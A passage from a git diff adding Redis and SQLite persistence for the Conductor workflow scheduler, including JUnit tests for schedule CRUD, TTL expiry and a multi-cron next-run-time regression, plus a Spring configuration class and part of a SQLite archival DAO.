with 2-second TTL + RedisSchedulerArchivalDAO shortTtlDao = + new RedisSchedulerArchivalDAO( + jedisProxy, objectMapper, conductorProperties, redisProperties, 2); + + shortTtlDao.saveExecutionRecord(buildExecution("ttl-sched", "ttl-exec")); + assertNotNull(shortTtlDao.getExecutionById("ttl-exec")); + + // Wait for expiry + Thread.sleep(3000); + + assertNull( + "Record should have expired after TTL", shortTtlDao.getExecutionById("ttl-exec")); + + // Search should also reflect expiry + SearchResult result = + shortTtlDao.searchScheduledExecutions("ttl-sched", null, 0, 10, null); + assertEquals(0, result.getTotalHits()); + } + + @Test + public void testTtl_defaultIs7Days() { + dao.saveExecutionRecord(buildExecution("ttl-check", "ttl-check-exec")); + + // Verify the key has a TTL set (should be close to 7 days = 604800 seconds) + Long ttl = jedisProxy.ttl("test.SCHEDULER.ARCHIVAL.ttl-check-exec"); + assertTrue("TTL should be set and > 604700", ttl > 604700); + } + + @Test + public void testCleanupOldRecords_belowThreshold_noOp() { + for (int i = 0; i < 3; i++) { + WorkflowScheduleExecutionModel exec = buildExecution("noclean-sched", "noclean-" + i); + exec.setScheduledTime(1000000L + i * 1000L); + dao.saveExecutionRecord(exec); + } + + // Threshold is 5, count is 3 — should not clean up + dao.cleanupOldRecords(2, 5); + + SearchResult result = + dao.searchScheduledExecutions("noclean-sched", null, 0, 20, null); + assertEquals(3, result.getTotalHits()); + } + + // ========================================================================= + // Helpers + // ========================================================================= + + private WorkflowScheduleExecutionModel buildExecution(String scheduleName, String executionId) { + StartWorkflowRequest req = new StartWorkflowRequest(); + req.setName("test-wf"); + req.setVersion(1); + + WorkflowScheduleExecutionModel model = new WorkflowScheduleExecutionModel(); + model.setExecutionId(executionId); + model.setScheduleName(scheduleName); + model.setWorkflowName("test-wf"); + model.setWorkflowId("wf-" + executionId); + model.setState(WorkflowScheduleExecutionModel.State.EXECUTED); + model.setScheduledTime(System.currentTimeMillis()); + model.setExecutionTime(System.currentTimeMillis()); + model.setStartWorkflowRequest(req); + return model; + } +} diff --git a/scheduler/redis-persistence/src/test/java/org/conductoross/conductor/scheduler/redis/dao/RedisSchedulerDAOTest.java b/scheduler/redis-persistence/src/test/java/org/conductoross/conductor/scheduler/redis/dao/RedisSchedulerDAOTest.java new file mode 100644 index 0000000..1557038 --- /dev/null +++ b/scheduler/redis-persistence/src/test/java/org/conductoross/conductor/scheduler/redis/dao/RedisSchedulerDAOTest.java @@ -0,0 +1,515 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.redis.dao; + +import java.util.*; + +import org.junit.*; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.utility.DockerImageName; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.jedis.JedisProxy; +import com.netflix.conductor.redis.jedis.UnifiedJedisCommands; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.scheduler.model.WorkflowScheduleExecutionModel; +import io.orkes.conductor.scheduler.model.WorkflowScheduleModel; +import redis.clients.jedis.JedisPooled; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +public class RedisSchedulerDAOTest { + + @ClassRule + public static final GenericContainer redis = + new GenericContainer<>(DockerImageName.parse("redis:7-alpine")).withExposedPorts(6379); + + private static JedisPooled jedisPooled; + private static JedisProxy jedisProxy; + private static ObjectMapper objectMapper; + private static ConductorProperties conductorProperties; + private static RedisProperties redisProperties; + private RedisSchedulerDAO dao; + + @BeforeClass + public static void setUpOnce() { + jedisPooled = new JedisPooled(redis.getHost(), redis.getMappedPort(6379)); + jedisProxy = new JedisProxy(new UnifiedJedisCommands(jedisPooled)); + objectMapper = new ObjectMapperProvider().getObjectMapper(); + + conductorProperties = mock(ConductorProperties.class); + when(conductorProperties.getStack()).thenReturn(""); + + redisProperties = mock(RedisProperties.class); + when(redisProperties.getWorkflowNamespacePrefix()).thenReturn("test"); + when(redisProperties.getKeyspaceDomain()).thenReturn(""); + } + + @Before + public void setUp() { + // Flush all keys between tests + jedisPooled.flushAll(); + dao = new RedisSchedulerDAO(jedisProxy, objectMapper, conductorProperties, redisProperties); + } + + @AfterClass + public static void tearDown() { + if (jedisPooled != null) { + jedisPooled.close(); + } + } + + // ========================================================================= + // Schedule CRUD + // ========================================================================= + + @Test + public void testSaveAndFindSchedule() { + WorkflowScheduleModel schedule = buildSchedule("test-schedule", "my-workflow"); + dao.updateSchedule(schedule); + + WorkflowScheduleModel found = dao.findScheduleByName("test-schedule"); + + assertNotNull(found); + assertEquals("test-schedule", found.getName()); + assertEquals("my-workflow", found.getStartWorkflowRequest().getName()); + assertEquals("0 0 9 * * MON-FRI", found.getCronExpression()); + assertEquals("UTC", found.getZoneId()); + } + + @Test + public void testFindScheduleByName_notFound_returnsNull() { + assertNull(dao.findScheduleByName("no-such-schedule")); + } + + @Test + public void testUpdateSchedule_upserts() { + WorkflowScheduleModel schedule = buildSchedule("upsert-schedule", "workflow-v1"); + dao.updateSchedule(schedule); + + schedule.setCronExpression("0 0 10 * * *"); + dao.updateSchedule(schedule); + + WorkflowScheduleModel found = dao.findScheduleByName("upsert-schedule"); + assertEquals("0 0 10 * * *", found.getCronExpression()); + } + + @Test + public void testGetAllSchedules() { + dao.updateSchedule(buildSchedule("sched-a", "wf-a")); + dao.updateSchedule(buildSchedule("sched-b", "wf-b")); + dao.updateSchedule(buildSchedule("sched-c", "wf-c")); + + assertEquals(3, dao.getAllSchedules().size()); + } + + @Test + public void testFindAllSchedulesByWorkflow() { + dao.updateSchedule(buildSchedule("s1", "target-wf")); + dao.updateSchedule(buildSchedule("s2", "target-wf")); + dao.updateSchedule(buildSchedule("s3", "other-wf")); + + List results = dao.findAllSchedules("target-wf"); + assertEquals(2, results.size()); + assertTrue( + results.stream() + .allMatch(s -> "target-wf".equals(s.getStartWorkflowRequest().getName()))); + } + + @Test + public void testFindAllSchedulesByWorkflow_updatesIndex() { + dao.updateSchedule(buildSchedule("index-test", "wf-old")); + assertEquals(1, dao.findAllSchedules("wf-old").size()); + + // Change workflow name + WorkflowScheduleModel updated = buildSchedule("index-test", "wf-new"); + dao.updateSchedule(updated); + + assertEquals(0, dao.findAllSchedules("wf-old").size()); + assertEquals(1, dao.findAllSchedules("wf-new").size()); + } + + @Test + public void testFindAllByNames() { + dao.updateSchedule(buildSchedule("find-a", "wf-a")); + dao.updateSchedule(buildSchedule("find-b", "wf-b")); + dao.updateSchedule(buildSchedule("find-c", "wf-c")); + + Map result = + dao.findAllByNames(Set.of("find-a", "find-c", "no-such-schedule")); + assertEquals(2, result.size()); + assertTrue(result.containsKey("find-a")); + assertTrue(result.containsKey("find-c")); + } + + @Test + public void testFindAllByNames_emptySet_returnsEmpty() { + assertTrue(dao.findAllByNames(Set.of()).isEmpty()); + } + + @Test + public void testFindAllByNames_nullSet_returnsEmpty() { + assertTrue(dao.findAllByNames(null).isEmpty()); + } + + @Test + public void testDeleteSchedule_removesScheduleAndExecutions() { + dao.updateSchedule(buildSchedule("to-delete", "some-wf")); + WorkflowScheduleExecutionModel exec = buildExecution("to-delete"); + dao.saveExecutionRecord(exec); + + dao.deleteWorkflowSchedule("to-delete"); + + assertNull(dao.findScheduleByName("to-delete")); + assertNull(dao.readExecutionRecord(exec.getExecutionId())); + assertEquals(0, dao.findAllSchedules("some-wf").size()); + } + + @Test + public void testDeleteSchedule_nonExistent_doesNotThrow() { + dao.deleteWorkflowSchedule("does-not-exist"); + } + + // ========================================================================= + // JSON round-trip fidelity + // ========================================================================= + + @Test + public void testScheduleJsonRoundTrip_allFields() { + WorkflowScheduleModel schedule = buildSchedule("round-trip-schedule", "round-trip-wf"); + schedule.setZoneId("America/New_York"); + schedule.setPaused(true); + schedule.setPausedReason("maintenance window"); + schedule.setScheduleStartTime(1_000_000L); + schedule.setScheduleEndTime(2_000_000L); + schedule.setRunCatchupScheduleInstances(true); + schedule.setCreateTime(12345L); + schedule.setUpdatedTime(67890L); + schedule.setCreatedBy("alice"); + schedule.setUpdatedBy("bob"); + schedule.setDescription("Daily business hours schedule"); + schedule.setNextRunTime(99999L); + dao.updateSchedule(schedule); + + WorkflowScheduleModel found = dao.findScheduleByName("round-trip-schedule"); + + assertNotNull(found); + assertEquals("America/New_York", found.getZoneId()); + assertTrue(found.isPaused()); + assertEquals("maintenance window", found.getPausedReason()); + assertEquals(Long.valueOf(1_000_000L), found.getScheduleStartTime()); + assertEquals(Long.valueOf(2_000_000L), found.getScheduleEndTime()); + assertTrue(found.isRunCatchupScheduleInstances()); + assertEquals(Long.valueOf(12345L), found.getCreateTime()); + assertEquals(Long.valueOf(67890L), found.getUpdatedTime()); + assertEquals("alice", found.getCreatedBy()); + assertEquals("bob", found.getUpdatedBy()); + assertEquals("Daily business hours schedule", found.getDescription()); + assertEquals(Long.valueOf(99999L), found.getNextRunTime()); + } + + @Test + public void testExecutionJsonRoundTrip_allFields() { + dao.updateSchedule(buildSchedule("exec-rt-schedule", "exec-rt-wf")); + + StartWorkflowRequest req = new StartWorkflowRequest(); + req.setName("exec-rt-wf"); + req.setVersion(2); + + WorkflowScheduleExecutionModel exec = buildExecution("exec-rt-schedule"); + exec.setWorkflowId("wf-instance-456"); + exec.setWorkflowName("exec-rt-wf"); + exec.setReason("Something went wrong"); + exec.setStackTrace( + "java.lang.RuntimeException: Something went wrong\n\tat Foo.bar(Foo.java:42)"); + exec.setState(WorkflowScheduleExecutionModel.State.FAILED); + exec.setStartWorkflowRequest(req); + dao.saveExecutionRecord(exec); + + WorkflowScheduleExecutionModel found = dao.readExecutionRecord(exec.getExecutionId()); + + assertNotNull(found); + assertEquals("wf-instance-456", found.getWorkflowId()); + assertEquals("exec-rt-wf", found.getWorkflowName()); + assertEquals("Something went wrong", found.getReason()); + assertNotNull(found.getStackTrace()); + assertTrue(found.getStackTrace().contains("RuntimeException")); + assertEquals(WorkflowScheduleExecutionModel.State.FAILED, found.getState()); + assertNotNull(found.getStartWorkflowRequest()); + assertEquals("exec-rt-wf", found.getStartWorkflowRequest().getName()); + assertEquals(Integer.valueOf(2), found.getStartWorkflowRequest().getVersion()); + } + + // ========================================================================= + // Execution tracking + // ========================================================================= + + @Test + public void testSaveAndReadExecutionRecord() { + dao.updateSchedule(buildSchedule("exec-test", "wf")); + WorkflowScheduleExecutionModel exec = buildExecution("exec-test"); + dao.saveExecutionRecord(exec); + + WorkflowScheduleExecutionModel found = dao.readExecutionRecord(exec.getExecutionId()); + assertNotNull(found); + assertEquals(exec.getExecutionId(), found.getExecutionId()); + assertEquals("exec-test", found.getScheduleName()); + assertEquals(WorkflowScheduleExecutionModel.State.POLLED, found.getState()); + } + + @Test + public void testSaveExecutionRecord_idempotent() { + dao.updateSchedule(buildSchedule("idem-test", "wf")); + WorkflowScheduleExecutionModel exec = buildExecution("idem-test"); + dao.saveExecutionRecord(exec); + dao.saveExecutionRecord(exec); + + List pending = dao.getPendingExecutionRecordIds(); + assertEquals(1, pending.size()); + } + + @Test + public void testUpdateExecutionRecord_transitionToExecuted() { + dao.updateSchedule(buildSchedule("state-test", "wf")); + WorkflowScheduleExecutionModel exec = buildExecution("state-test"); + dao.saveExecutionRecord(exec); + + exec.setState(WorkflowScheduleExecutionModel.State.EXECUTED); + exec.setWorkflowId("conductor-wf-123"); + dao.saveExecutionRecord(exec); + + WorkflowScheduleExecutionModel found = dao.readExecutionRecord(exec.getExecutionId()); + assertEquals(WorkflowScheduleExecutionModel.State.EXECUTED, found.getState()); + assertEquals("conductor-wf-123", found.getWorkflowId()); + } + + @Test + public void testRemoveExecutionRecord() { + dao.updateSchedule(buildSchedule("remove-exec", "wf")); + WorkflowScheduleExecutionModel exec = buildExecution("remove-exec"); + dao.saveExecutionRecord(exec); + + dao.removeExecutionRecord(exec.getExecutionId()); + + assertNull(dao.readExecutionRecord(exec.getExecutionId())); + } + + @Test + public void testGetPendingExecutionRecordIds() { + dao.updateSchedule(buildSchedule("pending-test", "wf")); + + WorkflowScheduleExecutionModel polled1 = buildExecution("pending-test"); + WorkflowScheduleExecutionModel polled2 = buildExecution("pending-test"); + WorkflowScheduleExecutionModel executed = buildExecution("pending-test"); + executed.setState(WorkflowScheduleExecutionModel.State.EXECUTED); + + dao.saveExecutionRecord(polled1); + dao.saveExecutionRecord(polled2); + dao.saveExecutionRecord(executed); + + List pendingIds = dao.getPendingExecutionRecordIds(); + assertEquals(2, pendingIds.size()); + assertTrue(pendingIds.contains(polled1.getExecutionId())); + assertTrue(pendingIds.contains(polled2.getExecutionId())); + } + + @Test + public void testGetPendingExecutionRecordIds_afterTransition() { + dao.updateSchedule(buildSchedule("transition-test", "wf")); + + WorkflowScheduleExecutionModel exec = buildExecution("transition-test"); + dao.saveExecutionRecord(exec); + assertTrue(dao.getPendingExecutionRecordIds().contains(exec.getExecutionId())); + + exec.setState(WorkflowScheduleExecutionModel.State.EXECUTED); + dao.saveExecutionRecord(exec); + + assertFalse(dao.getPendingExecutionRecordIds().contains(exec.getExecutionId())); + } + + // ========================================================================= + // Next-run time management + // ========================================================================= + + @Test + public void testSetAndGetNextRunTime() { + dao.updateSchedule(buildSchedule("next-run-test", "wf")); + + long epochMillis = System.currentTimeMillis() + 60_000; + dao.setNextRunTimeInEpoch("next-run-test", epochMillis); + + assertEquals(epochMillis, dao.getNextRunTimeInEpoch("next-run-test")); + } + + @Test + public void testGetNextRunTime_notSet_returnsMinusOne() { + dao.updateSchedule(buildSchedule("no-next-run", "wf")); + assertEquals(-1L, dao.getNextRunTimeInEpoch("no-next-run")); + } + + @Test + public void testGetNextRunTime_nonExistent_returnsMinusOne() { + assertEquals(-1L, dao.getNextRunTimeInEpoch("non-existent-schedule")); + } + + @Test + public void testUpdateSchedule_resetsNextRunTime() { + WorkflowScheduleModel schedule = buildSchedule("nrt-reset-test", "wf"); + dao.updateSchedule(schedule); + + long epoch = System.currentTimeMillis() + 60_000; + dao.setNextRunTimeInEpoch("nrt-reset-test", epoch); + assertEquals(epoch, dao.getNextRunTimeInEpoch("nrt-reset-test")); + + schedule.setCronExpression("0 0 10 * * *"); + schedule.setNextRunTime(null); + dao.updateSchedule(schedule); + + assertEquals(-1L, dao.getNextRunTimeInEpoch("nrt-reset-test")); + } + + @Test + public void testSetNextRunTime_arbitraryKey_persists() { + // setNextRunTimeInEpoch must store any key, not only registered schedule names. + // Multi-cron schedules use JSON payload keys; rejecting them was the root cause of + // the misfire bug (schedules firing on every poll cycle instead of on their cron time). + long epoch = System.currentTimeMillis() + 60_000; + dao.setNextRunTimeInEpoch("non-existent-schedule", epoch); + assertEquals(epoch, dao.getNextRunTimeInEpoch("non-existent-schedule")); + } + + /** + * BUG REGRESSION — multi-cron next-run-time must survive a Redis DAO round-trip. + * + *

    When a schedule carries multiple cron expressions, {@code SchedulerService} keys + * next-run-time entries by a JSON payload string (e.g. {@code {"name":"s","cron":"0 0 8 * * ? + * UTC","id":0}}) rather than by the schedule name. The DAO must store and retrieve that value + * transparently. + * + *

    {@code RedisSchedulerDAO.setNextRunTimeInEpoch} guards against writes with: + * + * 

    +     *   if (!jedisProxy.hexists(keyDefs(), scheduleName)) { return; }
+     *
    + * + * A JSON payload is not a key in {@code SCHEDULER.DEFS}, so the guard fires, the value is + * silently dropped, and {@code getNextRunTimeInEpoch} returns {@code -1}. {@code + * SchedulerService} then maps {@code -1} to epoch 1970 and deduces that the schedule is + * perpetually overdue, causing every multi-cron message to fire on every poll cycle instead of + * waiting for its cron time. + * + *

    This test will FAIL against the current Redis DAO, confirming the bug. It should pass once + * the {@code hexists} guard is removed from {@code setNextRunTimeInEpoch}. + */ + @Test + public void testSetAndGetNextRunTime_withMultiCronPayloadKey() { + // This is the exact key format SchedulerService uses for multi-cron schedule entries: + // buildMultiCronPayload(scheduleName, cronExpr + " " + zoneId, index) + String multiCronPayloadKey = + "{\"name\":\"multi-cron-sched\",\"cron\":\"0 0 8 * * ? UTC\",\"id\":0}"; + long futureEpoch = System.currentTimeMillis() + 3_600_000L; // 1 hour from now + + dao.setNextRunTimeInEpoch(multiCronPayloadKey, futureEpoch); + + long stored = dao.getNextRunTimeInEpoch(multiCronPayloadKey); + assertEquals( + "setNextRunTimeInEpoch must persist multi-cron JSON payload keys. " + + "RedisSchedulerDAO currently guards with hexists(SCHEDULER.DEFS, key) " + + "which returns false for JSON payloads, silently dropping the write. " + + "As a result getNextRunTimeInEpoch returns -1, SchedulerService maps " + + "that to epoch 1970 and treats the schedule as perpetually overdue, " + + "causing multi-cron schedules to fire on every poll cycle.", + futureEpoch, + stored); + } + + // ========================================================================= + // Search + // ========================================================================= + + @Test + public void testSearchSchedules_byWorkflowName() { + dao.updateSchedule(buildSchedule("search-1", "search-wf")); + dao.updateSchedule(buildSchedule("search-2", "search-wf")); + dao.updateSchedule(buildSchedule("search-3", "other-wf")); + + SearchResult result = + dao.searchSchedules("search-wf", null, null, null, 0, 10, null); + assertEquals(2, result.getTotalHits()); + } + + @Test + public void testSearchSchedules_byPaused() { + WorkflowScheduleModel paused = buildSchedule("paused-sched", "wf"); + paused.setPaused(true); + dao.updateSchedule(paused); + dao.updateSchedule(buildSchedule("active-sched", "wf")); + + SearchResult result = + dao.searchSchedules(null, null, true, null, 0, 10, null); + assertEquals(1, result.getTotalHits()); + assertEquals("paused-sched", result.getResults().get(0).getName()); + } + + // ========================================================================= + // Volume + // ========================================================================= + + @Test + public void testVolume_getAllSchedules_largeCount() { + int count = 100; + for (int i = 0; i < count; i++) { + dao.updateSchedule(buildSchedule("volume-sched-" + i, "wf-" + (i % 10))); + } + + List all = dao.getAllSchedules(); + assertEquals(count, all.size()); + } + + // ========================================================================= + // Helpers + // ========================================================================= + + private WorkflowScheduleModel buildSchedule(String name, String workflowName) { + StartWorkflowRequest startReq = new StartWorkflowRequest(); + startReq.setName(workflowName); + startReq.setVersion(1); + + WorkflowScheduleModel schedule = new WorkflowScheduleModel(); + schedule.setName(name); + schedule.setCronExpression("0 0 9 * * MON-FRI"); + schedule.setZoneId("UTC"); + schedule.setStartWorkflowRequest(startReq); + schedule.setPaused(false); + schedule.setCreateTime(System.currentTimeMillis()); + return schedule; + } + + private WorkflowScheduleExecutionModel buildExecution(String scheduleName) { + WorkflowScheduleExecutionModel exec = new WorkflowScheduleExecutionModel(); + exec.setExecutionId(UUID.randomUUID().toString()); + exec.setScheduleName(scheduleName); + exec.setScheduledTime(System.currentTimeMillis()); + exec.setExecutionTime(System.currentTimeMillis()); + exec.setState(WorkflowScheduleExecutionModel.State.POLLED); + exec.setZoneId("UTC"); + return exec; + } +} diff --git a/scheduler/sqlite-persistence/build.gradle b/scheduler/sqlite-persistence/build.gradle new file mode 100644 index 0000000..745372a --- /dev/null +++ b/scheduler/sqlite-persistence/build.gradle @@ -0,0 +1,22 @@ +dependencies { + implementation project(':conductor-scheduler-core') + implementation project(':conductor-common') + implementation project(':conductor-core') + + compileOnly 'org.springframework.boot:spring-boot-starter' + + implementation "com.fasterxml.jackson.core:jackson-databind" + implementation "com.fasterxml.jackson.core:jackson-core" + + implementation "org.xerial:sqlite-jdbc:3.49.0.0" + implementation "org.springframework.boot:spring-boot-starter-jdbc" + implementation "org.flywaydb:flyway-core:11.3.1" + + testImplementation 'org.springframework.boot:spring-boot-starter' + testImplementation 'org.springframework.boot:spring-boot-starter-test' + testImplementation testFixtures(project(':conductor-scheduler-core')) +} + +test { + maxParallelForks = 1 +} diff --git a/scheduler/sqlite-persistence/src/main/java/org/conductoross/conductor/scheduler/sqlite/config/SqliteSchedulerConfiguration.java b/scheduler/sqlite-persistence/src/main/java/org/conductoross/conductor/scheduler/sqlite/config/SqliteSchedulerConfiguration.java new file mode 100644 index 0000000..396f234 --- /dev/null +++ b/scheduler/sqlite-persistence/src/main/java/org/conductoross/conductor/scheduler/sqlite/config/SqliteSchedulerConfiguration.java @@ -0,0 +1,66 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.sqlite.config; + +import javax.sql.DataSource; + +import org.conductoross.conductor.scheduler.sqlite.dao.SqliteSchedulerArchivalDAO; +import org.conductoross.conductor.scheduler.sqlite.dao.SqliteSchedulerDAO; +import org.flywaydb.core.Flyway; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.boot.autoconfigure.condition.ConditionalOnExpression; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.DependsOn; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.archive.SchedulerArchivalDAO; +import io.orkes.conductor.dao.scheduler.SchedulerDAO; + +/** + * Spring auto-configuration that registers SQLite-backed {@link SchedulerDAO} and {@link + * SchedulerArchivalDAO}. + * + *

    Active when {@code conductor.db.type=sqlite} AND {@code conductor.scheduler.enabled=true}. + * Runs Flyway migrations for the scheduler tables in a dedicated history table so they do not + * conflict with the main Conductor migration history. + */ +@AutoConfiguration +@ConditionalOnExpression( + "'${conductor.db.type:}' == 'sqlite' && '${conductor.scheduler.enabled:false}' == 'true'") +public class SqliteSchedulerConfiguration { + + @Bean(initMethod = "migrate") + public Flyway flywayForScheduler(DataSource dataSource) { + return Flyway.configure() + .locations("classpath:db/migration_scheduler_sqlite") + .dataSource(dataSource) + .table("flyway_schema_history_scheduler") + .outOfOrder(true) + .baselineOnMigrate(true) + .baselineVersion("0") + .load(); + } + + @Bean + @DependsOn("flywayForScheduler") + public SchedulerDAO schedulerDAO(DataSource dataSource, ObjectMapper objectMapper) { + return new SqliteSchedulerDAO(dataSource, objectMapper); + } + + @Bean + @DependsOn("flywayForScheduler") + public SchedulerArchivalDAO schedulerArchivalDAO( + DataSource dataSource, ObjectMapper objectMapper) { + return new SqliteSchedulerArchivalDAO(dataSource, objectMapper); + } +} diff --git a/scheduler/sqlite-persistence/src/main/java/org/conductoross/conductor/scheduler/sqlite/dao/SqliteSchedulerArchivalDAO.java b/scheduler/sqlite-persistence/src/main/java/org/conductoross/conductor/scheduler/sqlite/dao/SqliteSchedulerArchivalDAO.java new file mode 100644 index 0000000..321ce44 --- /dev/null +++ b/scheduler/sqlite-persistence/src/main/java/org/conductoross/conductor/scheduler/sqlite/dao/SqliteSchedulerArchivalDAO.java @@ -0,0 +1,273 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.sqlite.dao; + +import java.util.*; +import java.util.stream.Collectors; + +import javax.sql.DataSource; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.jdbc.core.JdbcTemplate; +import org.springframework.jdbc.core.RowMapper; + +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.core.exception.NonTransientException; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.archive.SchedulerArchivalDAO; +import io.orkes.conductor.dao.archive.SchedulerSearchQuery; +import io.orkes.conductor.scheduler.model.WorkflowScheduleExecutionModel; + +/** + * SQLite implementation of {@link SchedulerArchivalDAO}. + * + *

    Stores execution records in the {@code workflow_scheduled_executions} table with individual + * columns for efficient querying and filtering. Managed by Flyway ({@code + * db/migration_scheduler_sqlite}). + */ +public class SqliteSchedulerArchivalDAO implements SchedulerArchivalDAO { + + private static final Logger log = LoggerFactory.getLogger(SqliteSchedulerArchivalDAO.class); + + private final JdbcTemplate jdbc; + private final ObjectMapper objectMapper; + + public SqliteSchedulerArchivalDAO(DataSource dataSource, ObjectMapper objectMapper) { + this.jdbc = new JdbcTemplate(dataSource); + this.objectMapper = objectMapper; + } + + @Override + public void saveExecutionRecord(WorkflowScheduleExecutionModel executionModel) { + String sql = + "INSERT OR REPLACE INTO workflow_scheduled_executions " + + "(execution_id, schedule_name, workflow_name, workflow_id, reason, " + + "stack_trace, state, scheduled_time, execution_time, start_workflow_request) " + + "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)"; + jdbc.update( + sql, + executionModel.getExecutionId(), + executionModel.getScheduleName(), + executionModel.getWorkflowName(), + executionModel.getWorkflowId(), + executionModel.getReason(), + executionModel.getStackTrace(), + executionModel.getState() != null ? executionModel.getState().name() : null, + executionModel.getScheduledTime(), + executionModel.getExecutionTime(), + serializeStartWorkflowRequest(executionModel.getStartWorkflowRequest())); + } + + @Override + public SearchResult searchScheduledExecutions( + String query, String freeText, int start, int count, List sort) { + StringBuilder sql = + new StringBuilder( + "SELECT execution_id FROM workflow_scheduled_executions WHERE 1=1"); + StringBuilder countSql = + new StringBuilder("SELECT COUNT(*) FROM workflow_scheduled_executions WHERE 1=1"); + List params = new ArrayList<>(); + List countParams = new ArrayList<>(); + + SchedulerSearchQuery parsed = SchedulerSearchQuery.parse(query); + if (parsed.hasScheduleNames()) { + String placeholders = + String.join(",", Collections.nCopies(parsed.getScheduleNames().size(), "?")); + sql.append(" AND schedule_name IN (").append(placeholders).append(")"); + countSql.append(" AND schedule_name IN (").append(placeholders).append(")"); + params.addAll(parsed.getScheduleNames()); + countParams.addAll(parsed.getScheduleNames()); + } + if (parsed.hasStates()) { + String placeholders = + String.join(",", Collections.nCopies(parsed.getStates().size(), "?")); + sql.append(" AND state IN (").append(placeholders).append(")"); + countSql.append(" AND state IN (").append(placeholders).append(")"); + params.addAll(parsed.getStates()); + countParams.addAll(parsed.getStates()); + } + if (parsed.getScheduledTimeAfter() != null) { + sql.append(" AND scheduled_time > ?"); + countSql.append(" AND scheduled_time > ?"); + params.add(parsed.getScheduledTimeAfter()); + countParams.add(parsed.getScheduledTimeAfter()); + } + if (parsed.getScheduledTimeBefore() != null) { + sql.append(" AND scheduled_time < ?"); + countSql.append(" AND scheduled_time < ?"); + params.add(parsed.getScheduledTimeBefore()); + countParams.add(parsed.getScheduledTimeBefore()); + } + if (parsed.hasWorkflowName()) { + sql.append(" AND workflow_name LIKE ?"); + countSql.append(" AND workflow_name LIKE ?"); + String like = "%" + parsed.getWorkflowName() + "%"; + params.add(like); + countParams.add(like); + } + if (parsed.hasExecutionId()) { + sql.append(" AND execution_id = ?"); + countSql.append(" AND execution_id = ?"); + params.add(parsed.getExecutionId()); + countParams.add(parsed.getExecutionId()); + } + + long totalHits = + jdbc.queryForObject( + countSql.toString(), Long.class, countParams.toArray(new Object[0])); + + String orderBy = buildOrderByClause(sort); + sql.append(orderBy).append(" LIMIT ? OFFSET ?"); + params.add(count); + params.add(start); + + List executionIds = + jdbc.queryForList(sql.toString(), String.class, params.toArray(new Object[0])); + + return new SearchResult<>(totalHits, executionIds); + } + + private static String buildOrderByClause(List sortOptions) { + if (sortOptions == null || sortOptions.isEmpty()) { + return " ORDER BY scheduled_time DESC"; + } + List orderClauses = new ArrayList<>(); + for (String sortOption : sortOptions) { + String[] parts = sortOption.split(":"); + String field = parts[0].trim(); + String direction = + parts.length > 1 && "ASC".equalsIgnoreCase(parts[1].trim()) ? "ASC" : "DESC"; + String column = SchedulerSearchQuery.resolveColumnName(field); + orderClauses.add(column + " " + direction); + } + return " ORDER BY " + String.join(", ", orderClauses); + } + + @Override + public Map getExecutionsByIds( + Set executionIds) { + if (executionIds == null || executionIds.isEmpty()) { + return new HashMap<>(); + } + String placeholders = executionIds.stream().map(id -> "?").collect(Collectors.joining(",")); + String sql = + "SELECT execution_id, schedule_name, workflow_name, workflow_id, reason, " + + "stack_trace, state, scheduled_time, execution_time, start_workflow_request " + + "FROM workflow_scheduled_executions " + + "WHERE execution_id IN (" + + placeholders + + ")"; + + List results = + jdbc.query(sql, executionRowMapper(), executionIds.toArray()); + + Map resultMap = new HashMap<>(); + for (WorkflowScheduleExecutionModel model : results) { + resultMap.put(model.getExecutionId(), model); + } + return resultMap; + } + + @Override + public WorkflowScheduleExecutionModel getExecutionById(String executionId) { + String sql = + "SELECT execution_id, schedule_name, workflow_name, workflow_id, reason, " + + "stack_trace, state, scheduled_time, execution_time, start_workflow_request " + + "FROM workflow_scheduled_executions WHERE execution_id = ?"; + List results = + jdbc.query(sql, executionRowMapper(), executionId); + return results.isEmpty() ? null : results.get(0); + } + + @Override + public void cleanupOldRecords(int archivalMaxRecords, int archivalMaxRecordThreshold) { + String findSchedulesSql = + "SELECT schedule_name, COUNT(*) AS cnt " + + "FROM workflow_scheduled_executions " + + "GROUP BY schedule_name " + + "HAVING COUNT(*) > ?"; + + List scheduleNames = + jdbc.query( + findSchedulesSql, + 